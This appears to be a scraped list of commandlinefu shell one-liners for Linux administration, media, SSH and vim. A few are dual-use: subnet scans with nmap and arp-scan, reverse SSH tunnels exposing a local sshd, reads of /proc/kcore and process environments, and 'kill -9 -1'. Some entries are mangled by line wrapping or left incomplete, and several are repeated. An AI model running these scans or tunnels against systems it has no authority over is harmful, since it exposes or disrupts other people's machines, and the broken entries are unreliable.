# use vim to get colorful diff output
svn diff | view -
# Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}
# When feeling down, this command helps
sl
# Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host
# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir
# git remove files which have been deleted
git rm $(git ls-files --deleted)
# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
# Terminate a frozen SSH-session
RETURN~.
# Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open
# Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log
# Convert seconds into minutes and seconds
echo 'obase=60;299' | bc
# List by size all of the directories in a given tree.
du -h /path | sort -h
# Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}
# Find broken symlinks
find -L . -type l
# Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server
# Make sudo forget password instantly
sudo -K
# Running scripts after a reboot for non-root users .
@reboot <yourscript.sh>
# Display BIOS Information
# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
# intersection between two files
grep -Fx -f file1 file2
# Mirror a directory structure from websites with an Apache-generated file index
eslftp -e "mirror -c" http://example.com/foobar/
# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'
# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
# Make sure a script is run in a terminal.
[ -t 0 ] || exit 1
# Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.
# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *
# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
# Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
# Identify long lines in a file
awk 'length>72' file
# Ultimate current directory usage command
ncdu
# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url
# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"
# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
# pipe output of a command to your clipboard
some command|xsel --clipboard
# Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
# Purge configuration files of removed packages on debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
# Redirect STDIN
< /path/to/file.txt grep foo
# clear current line
CTRL+u
# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
# Cut out a piece of film from a file. Choose an arbitrary length and starting t
ime.ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
# Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less
# List the files any process is using
lsof +p xxxx
# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# change directory to actual path instead of symlink path
cd `pwd -P`
# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
# Use last argument of last command
file !$
# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
# Get http headers for an url
curl -I www.commandlinefu.com
# List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
# Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
# Content search.
ff() { local IFS='|'; grep -rinE "$*" . ; }
# Protect directory from an overzealous rm -rf *
cd <directory>; touch ./-i
# Blink LED Port of NIC Card
ethtool -p eth0
# run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete
# List open files that have no links to them on the filesystem
lsof +L1
# open path with your default program (on Linux/*BSD)
xdg-open [path]
# Copy an element from the previous command
!:1-3
# View user activity per directory.
sudo lsof -u someuser -a +D /etc
# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
# Change pidgin status
purple-remote "setstatus?status=away&message=AFK"
# Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
# a trash function for bash
trash <file>
# Remove executable bit from all files in the current directory recursively, exc
luding other directorieschmod -R -x+X *
# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
# Use all the cores or CPUs when compiling
make -j 4
# Move all images in a directory into a directory hierarchy based on year, month
and day based on exif informationexiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
# Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
# Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# Find broken symlinks and delete them
find -L /path/to/check -type l -delete
# Run a command, store the output in a pastebin on the internet and place the UR
L on the xclipboardls | curl -F 'sprunge=<-' http://sprunge.us | xclip
# Find if the command has an alias
type -all command
# Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
# Show a config file without comments
egrep -v "^$|^[[:space:]]*#" /etc/some/file
# Display current bandwidth statistics
ifstat -nt
# Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
# view the system console remotely
sudo cat /dev/vcs1 | fold -w 80
# Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
# Schedule a download at a later time
echo 'wget url' | at 01:00
# Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more
# Run the Firefox Profile Manager
firefox -no-remote -P
# Delete the specified line
sed -i 8d ~/.ssh/known_hosts
# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3
# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1
# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
# Color man pages
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
# Query well known ports list
getent services <<service>>
# Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
# What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }
# Save the list of all available commands in your box to a file
compgen -c | sort -u > commands
# monitor memory usage
watch vmstat -sSM
# Figure out what shell you're running
echo $0
# Compare copies of a file with md5
cmp file1 file2
# backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
# List 10 largest directories in current directory
du -hs */ | sort -hr | head
# Reuse last parameter
!$
# See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location:.* //p';}
# Stream YouTube URL directly to MPlayer
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
# run command on a group of nodes in parallel
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
# Print just line 4 from a textfile
sed -n '4{p;q}'
# Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
# Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
# Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
# Insert the last argument of the previous command
<ALT> .
# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
# Change user, assume environment, stay in current dir
su -- user
# find all active IP addresses in a network
arp-scan -l
# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
# bash: hotkey to put current commandline to text-editor
bash-hotkey: <CTRL+x+e>
# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +
# List programs with open ports and connections
lsof -i
# Colored SVN diff
svn diff <file> | vim -R -
# find files containing text
grep -lir "some text" *
# Share a 'screen'-session
screen -x
# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short
# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"
# Run any GUI program remotely
ssh -fX <user>@<host> <program>
# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Pipe STDOUT to vim
tail -1000 /some/file | vim -
# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
# Quick glance at who's been using your system recently
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
# ping a range of IP addresses
nmap -sP 192.168.1.100-254
# Verify/edit bash history command before executing it
shopt -s histverify
# Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg
# Print without executing the last command that starts with...
!ssh:p
# Create .pdf from .doc
oowriter -pt pdf your_word_file.doc
# Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
c() printf "\33[2J"
# Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpe?g$/.jpg/i' *
# Random unsigned integer
echo $(openssl rand 4 | od -DAn)
# Get My Public IP Address
curl ifconfig.me
# translates acronyms for you
wtf is <acronym>
# dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
# Disassemble some shell code
echo -ne "<shellcode>" | x86dis -e 0 -s intel
# ignore the .svn directory in filename completion
export FIGNORE=.svn
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300
# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
# Vim: Switch from Horizontal split to Vertical split
^W-L
# Clean your broken terminal
stty sane
# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
# Save current layout of top
<Shift + W>
# Testing hard disk reading speed
hdparm -t /dev/sda
# Replace spaces in filenames with underscores
rename -v 's/ /_/g' *
# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/
# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
# Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt
# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
# Find last reboot time
who -b
# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
# Start screen in detached mode
screen -d -m [<command>]
# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
# Look up the definition of a word
curl dict://dict.org/d:something
# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q
# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
# Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# from within vi, pipe a chunk of lines to a command line and replace the chunk
with the result!}sort
# Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile
# Read the output of a command into the buffer in vim
:r !command
# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory
# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d
# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
# find process associated with a port
fuser [portnumber]/[proto]
# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
# cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
# Discovering all open files/dirs underneath a directory
lsof +D <dirname>
# Substrings a variable
var='123456789'; echo ${var:<start_pos>:<offset>}
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
# ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
# Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
# the same as [Esc] in vim
Ctrl + [
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# prevent accidents and test your command with echo
echo rm *.txt
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# Print just line 4 from a textfile
sed -n '4p'
# Display BIOS Information
dmidecode -t bios
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# Show directories in the PATH, one per line
echo $PATH | tr \: \\n
# find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'
# Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
# Discovering all open files/dirs underneath a directory
lsof +D <dirname>
# the same as [Esc] in vim
Ctrl + [
# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
# make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;
# Print just line 4 from a textfile
sed -n '4p'
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu
# Find broken symlinks
find . -type l ! -exec test -e {} \; -print
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
# Pick a random line from a file
shuf -n1 file.txt
# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null
# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg,
convert string ZZZZ to 1, 2, 3, ...):let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
# Grep colorized
grep -i --color=auto
# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# find and delete empty dirs, start in current working dir
find . -type d -empty -delete
# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE
# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done
# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
# prevent accidents and test your command with echo
echo rm *.txt
# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/ /g' {} \;
# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion
# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat
# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %
# Make a file not writable / immutable by root
sudo chattr +i <file>
# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add
# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself i
f something breaks the connection temporarilyautossh -f -M 20000 -D 8000 somehost -N
# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
# kill all process that belongs to you
kill -9 -1
# View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts
# Do some learning...
ls /usr/bin | xargs whatis | grep -v nothing | less
# Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
# Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com
# wrap long lines of a text
fold -s -w 90 file.txt
# sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
# computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
# Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
# Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"
# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'
# Displays the attempted user name, ip address, and time of SSH failed logins on
Debian machinesawk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
# Create a bunch of dummy files for testing
touch {1..10}.txt
# Find the package a command belongs to on Debian
dpkg -S $( which ls )
# Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done
# Terminal redirection
script /dev/null | tee /dev/pts/3
# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
# Files extension change
rename .oldextension .newextension *.oldextension
# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
# Print info about your real user.
who loves mum
# A formatting test for David Winterbottom: improving commandlinefu for submitte
rsecho "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
# Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
# Multiple SSH Tunnels
ssh -L :: -L :: @
# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
# Add prefix onto filenames
rename 's/^/prefix/' *
# Create directory named after current date
mkdir $(date +%Y%m%d)
# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
# run a command whenever a file is touched
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
# Pause Current Thread
ctrl-z
# Resume a detached screen session, resizing to fit the current terminal
screen -raAd
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
# Watch several log files of different machines in a single multitail window on
your own machinemultitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
# Continue a current job in the background
<ctrl+z> bg
# renames multiple files that match the pattern
rename 's/foo/bar/g' *
# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5
# "Clone" a list of installed packages from one Debian/Ubuntu Server to another
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
# Find recursively, from current directory down, files and directories whose nam
es contain single or multiple whitespaces and replace each such occurrence with a single underscore.find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`
# runs a X session within your X session
